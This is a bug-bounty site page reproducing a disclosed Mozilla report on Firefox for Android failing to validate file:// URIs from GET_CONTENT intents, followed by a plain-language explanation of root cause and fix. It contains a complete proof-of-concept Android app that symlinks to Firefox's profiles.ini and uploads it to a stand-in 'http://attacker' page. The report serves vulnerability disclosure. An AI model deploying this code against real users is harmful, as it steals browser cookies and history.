Skip to content
Info disclosure Disclosed report Intermediate

Lack of validation in GET_CONTENT activity result might lead to sensitive file exposure

Firefox for Android did not validate the file:// URI returned by a GET_CONTENT intent, allowing a malicious app to supply a URI pointing to a file inside Firefox's sandbox. An attacker could trick a user into uploading sensitive files such as cookies or history to an attacker-controlled website.

Andrea Palazzo Follow

Originally disclosed on Mozilla

  • Fixed in 2.1 years
  • Paid in 2.1 years
  • Disclosed after 2.1 years
Text
Created attachment 8992195
Sample attack scenario

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Build ID: 20180704003137

Steps to reproduce:

Tested on:
---------

- Android 5.1.1 Mozilla Firefox 61
- Android 8.0.0 Mozilla Firefox 61

Vulnerability Description
-------------------------

Due to the lack of validation on the file:// URI taken from the result Intent of a GET_CONTENT action, the Firefox Android application can be tricked into disclosing arbitrary files from its sandbox by a malicious third party application installed on the device. 
The severity of this issue is estimated medium, as it requires some sort of user-interaction; a sample attack scenario is described below:

- The attacker application declares an intent-filter to handle GET_CONTENT actions, so that it can be selected to provide files when the user encounter an upload form during the navigation.

 <intent-filter>
    <action android:name="android.intent.action.GET_CONTENT" />
    <category android:name="android.intent.category.OPENABLE" />
    <category android:name="android.intent.category.DEFAULT" />
    <data android:mimeType="*/*" />
</intent-filter>

- The attacker application responds to GET_CONTENT intents pretending to let the user select a legit file, but providing instead a specially crafted file:// URI. Such URI can represent a file located inside the Firefox application sandbox, or a symlink located in the attacker internal storage but pointing to a file inside the Firefox application sandbox (the latter gives the attacker control over the filename displayed during the upload).

if(action.equals(Intent.ACTION_GET_CONTENT)) {
    Intent result = new Intent();
    result.setData(Uri.parse("file:///data/data/org.mozilla.firefox/files/mozilla/profiles.ini"));
	result.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    setResult(Activity.RESULT_OK, result);
    finish();
}

- The attacker application triggers the navigation of an attacker-controlled webpage showing an upload form (i.e. embedding a Custom Tab), and tricks the user into proceeding with the upload selecting the application itself as file provider. 

if(action.equals(Intent.ACTION_MAIN)) {
    CustomTabsIntent.Builder builder = new CustomTabsIntent.Builder();
    CustomTabsIntent ct = builder.build();
    ct.intent.setPackage("org.mozilla.firefox");
    ct.intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
    ct.launchUrl(this, Uri.parse("http://attacker/upload.html"));
}

Such attack results in the victim user unintentionally leaking a file from the Firefox application's internal storage (i.e. Cookies or History database) to an attacker-controlled website. To better illustrate the intended attack flow, a small video is attached, showing the following steps:

1. The attacker application's MainActivity embeds an attacker-controlled website in a Custom Tab
2. The user selects the attacker application to fulfill the upload request
3. The attacker-controlled filename is displayed
4. The profiles.ini file is leaked to the attacker website

Proof Of Concept
----------------

The following proof of concept can be used to reproduce the attack described above.

== MainActivity.java ==

package it.truel.SymLeak;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.net.Uri;
import android.os.Build;
import android.os.StrictMode;
import android.support.customtabs.CustomTabsIntent;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Toast;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.net.URI;
import static java.lang.Runtime.*;

public class MainActivity extends AppCompatActivity {

    public static String TAG = "[Firefox PoC]";
    public static String FILE = "/data/data/it.truel.SymLeak/files/harmless.jpg";
    public static String TARGET_FILE = "/data/data/org.mozilla.firefox/files/mozilla/profiles.ini";


    private void execCmd(String cmd) {

        try {

            Log.d(TAG, "Executing " + cmd);

            Process proc = Runtime.getRuntime().exec(cmd);
            BufferedReader bufferedReader = new BufferedReader(
                    new InputStreamReader(proc.getInputStream())
            );

            StringBuilder out = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                out.append("\t" + line + "\n");
            }

            if(!out.toString().isEmpty()) Log.d(TAG, "Output:\n" + out);

        } catch (IOException e) {
            Log.d(TAG, "Error executing " + cmd + "\n" + e.toString());
        }

    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Log.d(TAG,"==== SymLeak Firefox PoC ====");
        String mySbx = getFilesDir().toString().replace("files", "");
        Log.d(TAG, "Sandbox: " + mySbx);
        Log.d(TAG, "Symlink: " + FILE);
        Log.d(TAG, "Target: " + TARGET_FILE);

        if(Build.VERSION.SDK_INT>=24){
            try{
                Log.d(TAG, "Android >= 7, need to disable death on file uri exposure");
                Method m = StrictMode.class.getMethod("disableDeathOnFileUriExposure");
                m.invoke(null);
            }catch(Exception e){
                Log.d(TAG, "Error disabling death on file uri exposure, failed :(\n" + e.toString());
				return;
            }
        } else { Log.d(TAG, "Android < 7, nothing fancy to do"); }

        execCmd("rm " + FILE);
        execCmd("chmod 777 " + getFilesDir());
        execCmd("ls -la " + mySbx);
        execCmd("chmod 777 " + mySbx);
        execCmd("ln -s " + TARGET_FILE + " " + FILE);
        execCmd("ls -la " + getFilesDir());

        Log.d(TAG, getIntent().toString());
        String action = getIntent().getAction();

        if(action.equals(Intent.ACTION_GET_CONTENT)) {
            Uri resultUri = Uri.parse("file://" + FILE);
            Intent result = new Intent();
            Log.d(TAG, "Trying to provide: " + "file://" + FILE + " as result");
            result.setData(resultUri);
            result.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
            setResult(Activity.RESULT_OK, result);
            finish();
        }

        if(action.equals(Intent.ACTION_MAIN)) {
            CustomTabsIntent.Builder builder = new CustomTabsIntent.Builder();
            CustomTabsIntent customTabsIntent = builder.build();
            customTabsIntent.intent.setPackage("org.mozilla.firefox");
            customTabsIntent.intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
            customTabsIntent.launchUrl(this, Uri.parse("http://attacker/upload.html"));
        }

    }

}

== AndroidManifest.xml ==

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="it.truel.SymLeak">
    <uses-permission android:name="android.permission.INTERNET" />
    <application
        android:allowBackup="true"
        android:debuggable="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/AppTheme">
        <activity android:name="it.truel.SymLeak.MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
            <intent-filter>
                <action android:name="android.intent.action.GET_CONTENT" />
                <category android:name="android.intent.category.OPENABLE" />
                <category android:name="android.intent.category.DEFAULT" />
                <data android:mimeType="*/*" />
            </intent-filter>
        </activity>
    </application>
</manifest>


Actual results:

A malicious third party application installed on the device might trick a user into disclosing sensitive files from the Firefox application's internal storage.


Expected results:

When processing the GET_CONTENT result's Intent, the file:// URI could be canonicalized and checked against the firefox data path in order to prevent this kind of attacks.

The original report as published on Mozilla's Bugzilla, by Andrea Palazzo. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the app failed to canonicalise and validate the file:// URI returned from the GET_CONTENT intent against its own data directory.

Impact

A malicious app could trick a user into leaking sensitive files from Firefox's internal storage, such as cookies or history, to an attacker-controlled website; the attack requires user interaction.

What the attacker needed

Malicious app installed on device; user selects attacker app as file provider; user proceeds with upload

The fix

The file:// URI from the GET_CONTENT result should be canonicalised and checked against Firefox's data path to prevent access to internal files.

How it was found

  1. The attacker app declares an intent-filter for GET_CONTENT so it appears as a file provider.
  2. The attacker app responds to GET_CONTENT with a crafted file:// URI pointing inside Firefox's sandbox (or a symlink to it).
  3. The attacker app opens an attacker-controlled upload page in a Custom Tab within Firefox.
  4. The user selects the attacker app as the file provider for the upload.
  5. The attacker-controlled filename is displayed and the targeted file is leaked to the attacker's website.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you upload a file on a website, Android asks another app to pick the file. Firefox for Android accepted whatever file location that other app provided, even if it pointed to Firefox's own private storage. A malicious app could pretend to be a file picker and hand over a link to Firefox's secret files, which then got uploaded to the attacker's site.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by Andrea Palazzo

View all

1 more disclosed report, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.